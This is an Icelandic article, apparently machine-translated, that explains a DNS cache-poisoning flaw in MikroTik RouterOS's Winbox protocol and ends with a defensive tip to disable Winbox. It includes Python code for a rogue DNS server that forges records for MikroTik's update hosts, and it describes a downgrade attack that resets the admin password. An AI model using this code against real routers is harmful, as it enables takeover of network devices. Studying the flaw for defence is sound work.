Möguleikinn á að fjarfæra tæki byggð á RouterOS (Mikrotik) setur hundruð þúsunda nettækja í hættu. Varnarleysið tengist eitrun á DNS skyndiminni Winbox samskiptareglunnar og gerir þér kleift að hlaða gamaldags (með sjálfgefnu lykilorði endurstillingu) eða breyttum fastbúnaði á tækið.
Upplýsingar um varnarleysi
RouterOS flugstöðin styður resolve skipunina fyrir DNS leit.
Þessi beiðni er meðhöndluð af tvöfaldri sem kallast resolver. Resolver er einn af mörgum tvöfaldur sem tengjast Winbox samskiptareglum RouterOS. Á háu stigi er hægt að beina „skilaboðum“ sem send eru í Winbox tengið yfir á ýmsa tvístirni í RouterOS byggt á númerakerfi sem byggir á fylki.
Sjálfgefið er að RouterOS er með DNS-miðlaraeiginleikann óvirkan.
Hins vegar, jafnvel þegar netþjónsaðgerðin er óvirk, heldur beininn sínu eigin DNS skyndiminni.
Þegar við gerum beiðni með því að nota winbox_dns_request til dæmis example.com mun leiðin vista niðurstöðuna.
Þar sem við getum tilgreint DNS-þjóninn sem beiðnin ætti að fara í gegnum, er léttvægt að slá inn röng heimilisföng. Til dæmis geturðu stillt útfærslu DNS netþjóns frá
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Nú ef þú leitar að example.com með Winbox geturðu séð að DNS skyndiminni leiðarinnar er eitrað.
Auðvitað, eitrun example.com er ekki mjög gagnlegt þar sem leiðin mun ekki nota það í raun. Hins vegar þarf beininn að hafa aðgang að upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com og download.mikrotik.com. Og þökk sé öðrum mistökum er hægt að eitra fyrir þeim öllum í einu.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Beininn biður um eina heimild og við gefum fimm til baka. Beininn geymir ekki öll þessi svör rétt.
Augljóslega er þessi árás einnig gagnleg ef beininn virkar sem DNS netþjónn, þar sem hún gerir kleift að ráðast á viðskiptavini beinsins.
Þessi árás gerir þér einnig kleift að nýta alvarlegri varnarleysi: lækka eða bakfæra útgáfu RouterOS. Árásarmaðurinn endurskapar rökfræði uppfærsluþjónsins, þar á meðal breytingaskrána, og neyðir RouterOS til að skynja úrelta (viðkvæma) útgáfuna sem núverandi. Hættan hér liggur í þeirri staðreynd að þegar útgáfan er „uppfærð“ er lykilorð stjórnanda endurstillt á sjálfgefið gildi - árásarmaður getur skráð sig inn í kerfið með tómu lykilorði!
Árásin er alveg að virka, þrátt fyrir það
vernd
Einfaldlega að slökkva á Winbox gerir þér kleift að verja þig fyrir þessum árásum. Þrátt fyrir þægindin við gjöf í gegnum Winbox er betra að nota SSH samskiptareglur.
Heimild: www.habr.com